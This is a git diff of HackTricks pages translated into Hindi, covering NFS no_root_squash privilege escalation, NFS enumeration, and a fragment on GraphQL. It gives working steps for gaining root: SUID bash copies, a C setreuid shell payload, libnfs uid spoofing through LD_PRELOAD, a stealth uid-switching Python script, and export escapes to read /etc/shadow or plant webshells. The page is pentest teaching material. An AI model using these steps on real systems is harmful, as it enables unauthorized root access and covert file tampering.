mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash
This commit is contained in:
parent
b89141c452
commit
5493fe3e3a
@ -1,18 +1,29 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
_ **/etc/exports** _ फ़ाइल को पढ़ें, यदि आप कुछ निर्देशिका पाते हैं जो **no_root_squash** के रूप में कॉन्फ़िगर की गई है, तो आप **क्लाइंट के रूप में** इसे **एक्सेस** कर सकते हैं और उस निर्देशिका के अंदर **लिख सकते हैं** **जैसे** कि आप मशीन के स्थानीय **रूट** थे।
|
||||
# Squashing Basic Info
|
||||
|
||||
**no_root_squash**: यह विकल्प मूल रूप से क्लाइंट पर रूट उपयोगकर्ता को NFS सर्वर पर रूट के रूप में फ़ाइलों तक पहुँचने का अधिकार देता है। और इससे गंभीर सुरक्षा परिणाम हो सकते हैं।
|
||||
NFS आमतौर पर (विशेष रूप से लिनक्स में) क्लाइंट द्वारा फ़ाइलों तक पहुँचने के लिए निर्दिष्ट `uid` और `gid` पर भरोसा करेगा (यदि kerberos का उपयोग नहीं किया गया है)। हालाँकि, कुछ कॉन्फ़िगरेशन हैं जो सर्वर में सेट किए जा सकते हैं ताकि **इस व्यवहार को बदल सकें**:
|
||||
|
||||
**no_all_squash:** यह **no_root_squash** विकल्प के समान है लेकिन **गैर-रूट उपयोगकर्ताओं** पर लागू होता है। कल्पना करें, आपके पास कोई उपयोगकर्ता के रूप में एक शेल है; /etc/exports फ़ाइल की जांच की; no_all_squash विकल्प मौजूद है; /etc/passwd फ़ाइल की जांच करें; एक गैर-रूट उपयोगकर्ता का अनुकरण करें; उस उपयोगकर्ता के रूप में एक suid फ़ाइल बनाएं (nfs का उपयोग करके माउंट करके)। कोई उपयोगकर्ता के रूप में suid को निष्पादित करें और विभिन्न उपयोगकर्ता बनें।
|
||||
- **`all_squash`**: यह सभी पहुँच को **`nobody`** (65534 unsigned / -2 signed) पर मैप करके दबा देता है। इसलिए, हर कोई `nobody` है और कोई उपयोगकर्ता उपयोग नहीं किया जाता है।
|
||||
- **`root_squash`/`no_all_squash`**: यह लिनक्स पर डिफ़ॉल्ट है और **केवल uid 0 (root) के साथ पहुँच को दबाता है**। इसलिए, कोई भी `UID` और `GID` पर भरोसा किया जाता है लेकिन `0` को `nobody` में दबा दिया जाता है (इसलिए कोई रूट अनुकरण संभव नहीं है)।
|
||||
- **``no_root_squash`**: यदि यह कॉन्फ़िगरेशन सक्षम है तो यह रूट उपयोगकर्ता को भी नहीं दबाता है। इसका मतलब है कि यदि आप इस कॉन्फ़िगरेशन के साथ एक निर्देशिका को माउंट करते हैं, तो आप इसे रूट के रूप में एक्सेस कर सकते हैं।
|
||||
|
||||
**/etc/exports** फ़ाइल में, यदि आप किसी निर्देशिका को **no_root_squash** के रूप में कॉन्फ़िगर किया हुआ पाते हैं, तो आप **एक क्लाइंट के रूप में** इसे **एक्सेस** कर सकते हैं और उस निर्देशिका के अंदर **लिख सकते हैं** जैसे कि आप मशीन के स्थानीय **रूट** थे।
|
||||
|
||||
**NFS** के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
/network-services-pentesting/nfs-service-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
# Privilege Escalation
|
||||
|
||||
## Remote Exploit
|
||||
|
||||
यदि आपने इस भेद्यता को पाया है, तो आप इसका शोषण कर सकते हैं:
|
||||
|
||||
- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट की गई फ़ोल्डर के अंदर **/bin/bash** बाइनरी को कॉपी करना और उसे **SUID** अधिकार देना, और **पीड़ित** मशीन से उस बाश बाइनरी को निष्पादित करना।
|
||||
Option 1 using bash:
|
||||
- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट की गई फ़ोल्डर के अंदर **/bin/bash** बाइनरी को कॉपी करना और इसे **SUID** अधिकार देना, और **पीड़ित** मशीन से उस बाश बाइनरी को निष्पादित करना।
|
||||
- ध्यान दें कि NFS शेयर के अंदर रूट होने के लिए, **`no_root_squash`** को सर्वर में कॉन्फ़िगर किया जाना चाहिए।
|
||||
- हालाँकि, यदि सक्षम नहीं किया गया है, तो आप बाइनरी को NFS शेयर में कॉपी करके और इसे उस उपयोगकर्ता के रूप में SUID अनुमति देकर अन्य उपयोगकर्ता में वृद्धि कर सकते हैं, जिसे आप बढ़ाना चाहते हैं।
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
@ -25,7 +36,9 @@ chmod +s bash
|
||||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट की गई फ़ोल्डर के अंदर हमारे कंपाइल किए गए पेलोड को कॉपी करना जो SUID अनुमति का दुरुपयोग करेगा, इसे **SUID** अधिकार देना, और **शिकार** मशीन से उस बाइनरी को **निष्पादित करना** (आप यहाँ कुछ [C SUID पेलोड्स](payloads-to-execute.md#c) पा सकते हैं)।
|
||||
विकल्प 2 c संकलित कोड का उपयोग करते हुए:
|
||||
- **क्लाइंट मशीन में उस निर्देशिका को माउंट करना**, और **रूट के रूप में** माउंट की गई फ़ोल्डर के अंदर हमारे संकलित पेलोड को कॉपी करना जो SUID अनुमति का दुरुपयोग करेगा, इसे **SUID** अधिकार देगा, और **शिकार** मशीन से उस बाइनरी को **निष्पादित** करेगा (आप यहाँ कुछ[ C SUID पेलोड्स](payloads-to-execute.md#c) पा सकते हैं)।
|
||||
- पहले की तरह ही प्रतिबंध।
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
@ -42,14 +55,14 @@ cd <SHAREDD_FOLDER>
|
||||
## Local Exploit
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि यदि आप अपनी मशीन से पीड़ित मशीन तक **एक टनल बना सकते हैं, तो आप इस विशेषाधिकार वृद्धि का शोषण करने के लिए रिमोट संस्करण का उपयोग कर सकते हैं, आवश्यक पोर्ट्स को टनल करते हुए**।\
|
||||
> निम्नलिखित ट्रिक उस स्थिति के लिए है जब फ़ाइल `/etc/exports` **एक IP को इंगित करती है**। इस मामले में आप **किसी भी स्थिति में** **रिमोट एक्सप्लॉइट** का उपयोग नहीं कर पाएंगे और आपको **इस ट्रिक का दुरुपयोग करना होगा**।\
|
||||
> शोषण के काम करने के लिए एक और आवश्यक आवश्यकता यह है कि **`/etc/export` के अंदर का एक्सपोर्ट** **`insecure` फ्लैग का उपयोग कर रहा हो**।\
|
||||
> ध्यान दें कि यदि आप अपने मशीन से पीड़ित मशीन तक **एक टनल बना सकते हैं, तो आप इस विशेषाधिकार वृद्धि का शोषण करने के लिए रिमोट संस्करण का उपयोग कर सकते हैं, आवश्यक पोर्ट्स को टनल करते हुए**।\
|
||||
> निम्नलिखित ट्रिक उस स्थिति के लिए है जब फ़ाइल `/etc/exports` **एक IP को इंगित करती है**। इस मामले में आप **किसी भी स्थिति में** **रिमोट शोषण** का उपयोग नहीं कर पाएंगे और आपको **इस ट्रिक का दुरुपयोग करना होगा**।\
|
||||
> शोषण के काम करने के लिए एक और आवश्यक आवश्यकता है कि **`/etc/export` के अंदर का निर्यात** **`insecure` फ्लैग का उपयोग कर रहा हो**।\
|
||||
> --_मुझे यकीन नहीं है कि यदि `/etc/export` एक IP पते को इंगित कर रहा है तो यह ट्रिक काम करेगी_--
|
||||
|
||||
## Basic Information
|
||||
|
||||
परिदृश्य में एक स्थानीय मशीन पर एक माउंटेड NFS शेयर का शोषण करना शामिल है, NFSv3 विनिर्देशन में एक दोष का लाभ उठाते हुए जो क्लाइंट को अपने uid/gid को निर्दिष्ट करने की अनुमति देता है, संभावित रूप से अनधिकृत पहुंच सक्षम करता है। शोषण में [libnfs](https://github.com/sahlberg/libnfs) का उपयोग शामिल है, जो NFS RPC कॉल के फर्ज़ी बनाने की अनुमति देने वाली एक लाइब्रेरी है।
|
||||
परिदृश्य में एक स्थानीय मशीन पर एक माउंटेड NFS शेयर का शोषण करना शामिल है, NFSv3 विनिर्देशन में एक दोष का लाभ उठाते हुए जो क्लाइंट को अपने uid/gid को निर्दिष्ट करने की अनुमति देता है, संभावित रूप से अनधिकृत पहुंच सक्षम करता है। शोषण में [libnfs](https://github.com/sahlberg/libnfs) का उपयोग शामिल है, जो NFS RPC कॉल के forging की अनुमति देने वाली एक लाइब्रेरी है।
|
||||
|
||||
### Compiling the Library
|
||||
|
||||
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
||||
```
|
||||
### एक्सप्लॉइट करना
|
||||
|
||||
एक्सप्लॉइट में एक साधारण C प्रोग्राम (`pwn.c`) बनाना शामिल है जो रूट के लिए विशेषाधिकार बढ़ाता है और फिर एक शेल निष्पादित करता है। प्रोग्राम को संकलित किया जाता है, और परिणामी बाइनरी (`a.out`) को suid रूट के साथ शेयर पर रखा जाता है, RPC कॉल में uid को फेक करने के लिए `ld_nfs.so` का उपयोग करते हुए:
|
||||
|
||||
1. **एक्सप्लॉइट कोड संकलित करें:**
|
||||
एक्सप्लॉइट में एक सरल C प्रोग्राम (`pwn.c`) बनाना शामिल है जो रूट के लिए विशेषाधिकार बढ़ाता है और फिर एक शेल निष्पादित करता है। प्रोग्राम को संकलित किया जाता है, और परिणामी बाइनरी (`a.out`) को suid रूट के साथ शेयर पर रखा जाता है, RPC कॉल में uid को फेक करने के लिए `ld_nfs.so` का उपयोग करते हुए:
|
||||
|
||||
1. **एक्सप्लॉइट कोड को संकलित करें:**
|
||||
```bash
|
||||
cat pwn.c
|
||||
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
||||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **शेयर पर एक्सप्लॉइट रखें और uid को फेक करके इसकी अनुमतियों को संशोधित करें:**
|
||||
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **रूट विशेषाधिकार प्राप्त करने के लिए एक्सप्लॉइट निष्पादित करें:**
|
||||
3. **शोषण को निष्पादित करें ताकि रूट विशेषाधिकार प्राप्त कर सकें:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
## Bonus: NFShell for Stealthy File Access
|
||||
|
||||
## बोनस: NFShell के लिए छिपा हुआ फ़ाइल एक्सेस
|
||||
|
||||
एक बार रूट एक्सेस प्राप्त होने के बाद, स्वामित्व को बदले बिना NFS शेयर के साथ इंटरैक्ट करने के लिए (निशान छोड़ने से बचने के लिए), एक Python स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट uid को उस फ़ाइल के uid से मेल खाने के लिए समायोजित करती है जिसे एक्सेस किया जा रहा है, जिससे शेयर पर फ़ाइलों के साथ बिना अनुमति की समस्याओं के इंटरैक्शन की अनुमति मिलती है:
|
||||
एक बार जब रूट एक्सेस प्राप्त हो जाता है, NFS शेयर के साथ इंटरैक्ट करने के लिए बिना स्वामित्व बदले (निशान छोड़ने से बचने के लिए), एक Python स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट uid को उस फ़ाइल के uid से मेल खाने के लिए समायोजित करती है जिसे एक्सेस किया जा रहा है, जिससे शेयर पर फ़ाइलों के साथ इंटरैक्शन की अनुमति मिलती है बिना अनुमति समस्याओं के:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
@ -108,7 +116,7 @@ uid = get_file_uid(filepath)
|
||||
os.setreuid(uid, uid)
|
||||
os.system(' '.join(sys.argv[1:]))
|
||||
```
|
||||
जैसे चलाएँ:
|
||||
Run like:
|
||||
```bash
|
||||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
|
||||
@ -4,29 +4,66 @@
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
**NFS** एक ऐसा सिस्टम है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन किया गया है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक सहजता से पहुँचने की अनुमति देता है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हैं।
|
||||
|
||||
इस प्रोटोकॉल का एक महत्वपूर्ण पहलू इसकी अंतर्निहित **प्रमाणीकरण** या **अधिकार प्रबंधन तंत्र** की कमी है। इसके बजाय, अधिकार **फ़ाइल सिस्टम जानकारी** पर निर्भर करता है, जिसमें सर्वर को **क्लाइंट द्वारा प्रदान की गई उपयोगकर्ता जानकारी** को फ़ाइल सिस्टम के आवश्यक **अधिकार प्रारूप** में सटीक रूप से अनुवादित करने का कार्य सौंपा गया है, जो मुख्य रूप से **UNIX सिंटैक्स** का पालन करता है।
|
||||
|
||||
प्रमाणीकरण आमतौर पर **UNIX `UID`/`GID` पहचानकर्ताओं और समूह सदस्यताओं** पर निर्भर करता है। हालाँकि, एक चुनौती तब उत्पन्न होती है जब **`UID`/`GID` मैपिंग** के बीच क्लाइंट और सर्वर के बीच संभावित असंगति होती है, जिससे सर्वर द्वारा अतिरिक्त सत्यापन के लिए कोई स्थान नहीं बचता। इसलिए, यह प्रोटोकॉल **विश्वसनीय नेटवर्कों** के भीतर उपयोग के लिए सबसे उपयुक्त है, क्योंकि यह इस प्रमाणीकरण विधि पर निर्भर करता है।
|
||||
**NFS** एक प्रणाली है जो **क्लाइंट/सर्वर** के लिए डिज़ाइन की गई है, जो उपयोगकर्ताओं को नेटवर्क के माध्यम से फ़ाइलों तक बिना किसी रुकावट के पहुँचने की अनुमति देती है जैसे कि ये फ़ाइलें स्थानीय निर्देशिका में स्थित हैं।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट**: 2049/TCP/UDP (संस्करण 4 को छोड़कर, इसे केवल TCP या UDP की आवश्यकता होती है)।
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
||||
### Authentication
|
||||
|
||||
इस प्रोटोकॉल का एक महत्वपूर्ण पहलू इसकी सामान्य कमी है **authentication** या **authorization mechanisms** में। इसके बजाय, authorization **file system information** पर निर्भर करता है, जिसमें सर्वर को **client-provided user information** को file system के आवश्यक **authorization format** में सटीक रूप से अनुवादित करने का कार्य सौंपा गया है, जो मुख्य रूप से **UNIX syntax** का पालन करता है।
|
||||
|
||||
Authentication आमतौर पर **UNIX `UID`/`GID` पहचानकर्ताओं और समूह सदस्यताओं** पर निर्भर करता है। हालाँकि, एक चुनौती उत्पन्न होती है क्योंकि **`UID`/`GID` मैपिंग** में संभावित असंगति के कारण क्लाइंट और सर्वर के बीच, सर्वर द्वारा अतिरिक्त सत्यापन के लिए कोई स्थान नहीं छोड़ता। इसके अलावा, ये विवरण क्लाइंट द्वारा भेजे जाते हैं और सर्वर द्वारा विश्वसनीय होते हैं, इसलिए एक धोखेबाज़ क्लाइंट संभावित रूप से **अधिक विशेषाधिकार प्राप्त `uid` और `gid` भेजकर किसी अन्य उपयोगकर्ता का **impersonate** कर सकता है।
|
||||
|
||||
**हालांकि, ध्यान दें कि डिफ़ॉल्ट रूप से NFS का उपयोग करके `UID` 0 (root) का impersonate करना संभव नहीं है। इस पर अधिक जानकारी squashing अनुभाग में है।**
|
||||
|
||||
#### Hosts
|
||||
|
||||
बेहतर (या कुछ) authorization के लिए, आप उन **hosts** को निर्दिष्ट कर सकते हैं जो NFS शेयर तक पहुँच सकते हैं। यह Linux के `/etc/exports` फ़ाइल में किया जा सकता है। उदाहरण के लिए:
|
||||
```
|
||||
/PATH/TO/EXPORT CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
|
||||
/media/disk/share 192.168.2.123(rw,sec=krb5p:krb5i)
|
||||
```
|
||||
As you can see, यह एक विशिष्ट **IP** या **hostname** को साझा करने के लिए कॉन्फ़िगर करने की अनुमति देता है। केवल वही पता साझा करने तक पहुँच सकेगा।
|
||||
|
||||
### Versions
|
||||
|
||||
- **NFSv2**: यह संस्करण विभिन्न प्रणालियों के साथ इसकी व्यापक संगतता के लिए पहचाना जाता है, जो इसके महत्व को UDP के माध्यम से प्रारंभिक संचालन के साथ चिह्नित करता है। श्रृंखला में **सबसे पुराना** होने के नाते, इसने भविष्य के विकास के लिए आधार तैयार किया।
|
||||
- **NFSv2**: यह संस्करण विभिन्न प्रणालियों के साथ इसकी व्यापक संगतता के लिए पहचाना जाता है, जो इसके महत्व को UDP पर मुख्य संचालन के साथ चिह्नित करता है। श्रृंखला में **सबसे पुराना** होने के नाते, इसने भविष्य के विकास के लिए आधार तैयार किया।
|
||||
|
||||
- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया गया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
|
||||
- **NFSv3**: कई सुधारों के साथ पेश किया गया, NFSv3 ने अपने पूर्ववर्ती पर विस्तार किया, जिसमें परिवर्तनशील फ़ाइल आकारों का समर्थन और बेहतर त्रुटि रिपोर्टिंग तंत्र प्रदान किया। इसके विकास के बावजूद, इसे NFSv2 क्लाइंट के साथ पूर्ण पूर्ववर्ती संगतता में सीमाओं का सामना करना पड़ा।
|
||||
|
||||
- **NFSv4**: NFS श्रृंखला में एक महत्वपूर्ण संस्करण, NFSv4 ने नेटवर्क के बीच फ़ाइल साझा करने को आधुनिक बनाने के लिए डिज़ाइन की गई सुविधाओं का एक सेट पेश किया। उल्लेखनीय सुधारों में **उच्च सुरक्षा** के लिए Kerberos का एकीकरण, फ़ायरवॉल को पार करने और पोर्टमैपर्स की आवश्यकता के बिना इंटरनेट पर संचालन करने की क्षमता, एक्सेस कंट्रोल सूचियों (ACLs) का समर्थन, और स्थिति-आधारित संचालन का परिचय शामिल है। इसके प्रदर्शन में सुधार और स्थिति-आधारित प्रोटोकॉल को अपनाने ने NFSv4 को नेटवर्क फ़ाइल साझा करने की तकनीकों में एक महत्वपूर्ण प्रगति के रूप में अलग किया है।
|
||||
- **NFSv4**: NFS श्रृंखला में एक महत्वपूर्ण संस्करण, NFSv4 ने नेटवर्क के बीच फ़ाइल साझा करने को आधुनिक बनाने के लिए डिज़ाइन की गई सुविधाओं का एक सेट पेश किया। उल्लेखनीय सुधारों में **उच्च सुरक्षा** के लिए Kerberos का एकीकरण, फ़ायरवॉल को पार करने और पोर्टमैपर्स की आवश्यकता के बिना इंटरनेट पर संचालन करने की क्षमता, एक्सेस कंट्रोल सूचियों (ACLs) का समर्थन, और स्थिति-आधारित संचालन का परिचय शामिल है। इसके प्रदर्शन में सुधार और स्थिति-आधारित प्रोटोकॉल को अपनाने ने NFSv4 को नेटवर्क फ़ाइल साझा करने की तकनीकों में एक महत्वपूर्ण प्रगति के रूप में अलग किया।
|
||||
- ध्यान दें कि लिनक्स होस्ट NFS में kerberos प्रमाणीकरण का समर्थन करना बहुत अजीब है।
|
||||
|
||||
NFS के प्रत्येक संस्करण को नेटवर्क वातावरण की विकसित आवश्यकताओं को संबोधित करने के इरादे से विकसित किया गया है, सुरक्षा, संगतता और प्रदर्शन को क्रमिक रूप से बढ़ाते हुए।
|
||||
|
||||
### Squashing
|
||||
|
||||
जैसा कि पहले उल्लेख किया गया है, NFS आमतौर पर क्लाइंट के `uid` और `gid` को फ़ाइलों तक पहुँचने के लिए विश्वसनीयता देता है (यदि kerberos का उपयोग नहीं किया गया है)। हालाँकि, कुछ कॉन्फ़िगरेशन हैं जो सर्वर में **इस व्यवहार को बदलने** के लिए सेट किए जा सकते हैं:
|
||||
|
||||
- **all_squash**: यह सभी पहुँच को **`nobody`** (65534 unsigned / -2 signed) पर मैप करके समेटता है। इसलिए, हर कोई `nobody` है और कोई उपयोगकर्ता नहीं हैं।
|
||||
- **root_squash/no_all_squash**: यह लिनक्स पर डिफ़ॉल्ट है और **केवल uid 0 (root) के साथ पहुँच को समेटता है**। इसलिए, कोई भी `UID` और `GID` विश्वसनीय हैं लेकिन `0` को `nobody` में समेटा जाता है (इसलिए कोई रूट अनुकरण संभव नहीं है)।
|
||||
- **no_root_squash**: यदि यह कॉन्फ़िगरेशन सक्षम है तो यह रूट उपयोगकर्ता को भी समेटता नहीं है। इसका मतलब है कि यदि आप इस कॉन्फ़िगरेशन के साथ एक निर्देशिका माउंट करते हैं तो आप इसे रूट के रूप में एक्सेस कर सकते हैं।
|
||||
|
||||
### Subtree check
|
||||
|
||||
केवल लिनक्स पर उपलब्ध। man(5) exports कहता है: "यदि फ़ाइल सिस्टम का एक उपनिर्देशिका निर्यातित है, लेकिन पूरा फ़ाइल सिस्टम नहीं है, तो जब भी एक NFS अनुरोध आता है, सर्वर को यह जांचना चाहिए कि न केवल एक्सेस की गई फ़ाइल उपयुक्त फ़ाइल सिस्टम में है (जो आसान है) बल्कि यह निर्यातित पेड़ में भी है (जो कठिन है)। इस जांच को उप-ट्री जांच कहा जाता है।"
|
||||
|
||||
लिनक्स में **`subtree_check` सुविधा डिफ़ॉल्ट रूप से अक्षम है**।
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Useful nmap scripts
|
||||
### Showmount
|
||||
|
||||
इसका उपयोग **NFSv3 सर्वर से जानकारी प्राप्त करने** के लिए किया जा सकता है, जैसे **निर्यातों** की सूची, कौन इन निर्यातों तक **पहुँचने के लिए अधिकृत है**, और कौन से क्लाइंट जुड़े हुए हैं (जो गलत हो सकता है यदि कोई क्लाइंट बिना सर्वर को बताए डिस्कनेक्ट हो जाता है)।
|
||||
**NFSv4 क्लाइंट सीधे /export** तक पहुँचते हैं और वहाँ से निर्यातों तक पहुँचने की कोशिश करते हैं, यदि यह अमान्य या किसी कारण से अनधिकृत है तो विफल हो जाते हैं।
|
||||
|
||||
यदि `showmount` जैसे उपकरण या Metasploit मॉड्यूल NFS पोर्ट से जानकारी नहीं दिखाते हैं, तो यह संभावित रूप से एक NFSv4 सर्वर है जो संस्करण 3 का समर्थन नहीं करता है।
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
### उपयोगी nmap स्क्रिप्ट्स
|
||||
```bash
|
||||
nfs-ls #List NFS exports and check permissions
|
||||
nfs-showmount #Like showmount -e
|
||||
@ -36,9 +73,14 @@ nfs-statfs #Disk statistics and info from NFS share
|
||||
```bash
|
||||
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Mounting
|
||||
### nfs_analyze
|
||||
|
||||
To know **which folder** has the server **available** to mount you an ask it using:
|
||||
यह उपकरण [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) NFS सर्वर से बहुत सारे डेटा प्राप्त करने के लिए उपयोग किया जा सकता है जैसे **mounts**, समर्थित NFS संस्करण, जुड़े IP, और यहां तक कि यह भी कि क्या **exports से अन्य फ़ोल्डरों में भागना संभव है** या **यदि `no_root_squash` सक्षम है**।
|
||||
|
||||
|
||||
## Mounting
|
||||
|
||||
यह जानने के लिए कि **कौन सा फ़ोल्डर** सर्वर **उपलब्ध** है, आप इसे इस प्रकार पूछ सकते हैं:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
@ -53,22 +95,37 @@ mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
|
||||
mkdir /mnt/new_back
|
||||
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## Permissions
|
||||
## हमले
|
||||
|
||||
यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर केवल कुछ उपयोगकर्ता द्वारा पहुँच योग्य हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता **बना सकते हैं** और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर **एक्सेस** कर सकेंगे।
|
||||
### UID और GID पर भरोसा करना
|
||||
|
||||
## NSFShell
|
||||
बिल्कुल, यहाँ एकमात्र समस्या यह है कि डिफ़ॉल्ट रूप से रूट (`UID` 0) का अनुकरण करना संभव नहीं है। हालाँकि, किसी अन्य उपयोगकर्ता का अनुकरण करना संभव है या यदि `no_root_squash` सक्षम है तो आप रूट का भी अनुकरण कर सकते हैं।
|
||||
|
||||
फाइलों तक पहुँच प्राप्त करने के लिए UID और GID को आसानी से सूचीबद्ध, माउंट और बदलने के लिए आप [nfsshell](https://github.com/NetDirect/nfsshell) का उपयोग कर सकते हैं।
|
||||
- यदि आप एक फ़ोल्डर माउंट करते हैं जिसमें **फाइलें या फ़ोल्डर केवल कुछ उपयोगकर्ता द्वारा पहुँच योग्य हैं** (द्वारा **UID**)। आप **स्थानीय रूप से** उस **UID** के साथ एक उपयोगकर्ता बना सकते हैं और उस **उपयोगकर्ता** का उपयोग करके आप फ़ाइल/फ़ोल्डर तक **पहुँच** सकते हैं।
|
||||
- टूल **`fuse_nfs`** [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) से हमेशा आवश्यक UID और GID फ़ाइलों तक पहुँचने के लिए भेजेगा।
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
### SUID विशेषाधिकार वृद्धि
|
||||
|
||||
## Config files
|
||||
पृष्ठ की जाँच करें:
|
||||
|
||||
{{#ref}}
|
||||
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### निर्यातों से भागना
|
||||
|
||||
इस [महान लेख](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) में यह देखा जा सकता है कि **निर्यातों से भागकर FS में अन्य फ़ोल्डरों तक पहुँचने** की संभावना है।
|
||||
|
||||
इसलिए, यदि एक निर्यात एक फ़ोल्डर निर्यात कर रहा है जो **पूरे फ़ाइल सिस्टम** का एक **उपफ़ोल्डर** है, तो यदि **`subtree_check`** अक्षम है तो निर्यात के बाहर फ़ाइलों तक पहुँचना संभव है। और यह **डिफ़ॉल्ट रूप से Linux में अक्षम है**।
|
||||
|
||||
उदाहरण के लिए, यदि एक NFS सर्वर `/srv/` निर्यात कर रहा है और `/var/` उसी फ़ाइल सिस्टम में है, तो `/var/log/` से लॉग पढ़ना या `/var/www/` में एक वेबशेल स्टोर करना संभव है।
|
||||
|
||||
इसके अलावा, ध्यान दें कि डिफ़ॉल्ट रूप से केवल रूट (0) उपयोगकर्ता को अनुकरण से सुरक्षित रखा गया है (Squash अनुभाग की जाँच करें)। हालाँकि, यदि एक फ़ाइल **रूट द्वारा स्वामित्व में है लेकिन समूह 0 नहीं है, तो इसे पहुँच पाना संभव है**। उदाहरण के लिए, फ़ाइल `/etc/shadow` र
|
||||
```
|
||||
/etc/exports
|
||||
/etc/lib/nfs/etab
|
||||
```
|
||||
### Dangerous settings
|
||||
## Dangerous settings
|
||||
|
||||
- **Read and Write Permissions (`rw`):** यह सेटिंग फ़ाइल सिस्टम से पढ़ने और लिखने की अनुमति देती है। इतनी व्यापक पहुँच देने के परिणामों पर विचार करना आवश्यक है।
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए महत्वपूर्ण लाभ** प्रदान करती है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
|
||||
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
|
||||
|
||||
## GraphQL और सुरक्षा
|
||||
|
||||
@ -51,7 +51,7 @@ query={__schema{types{name,fields{name}}}}
|
||||
```bash
|
||||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||||
```
|
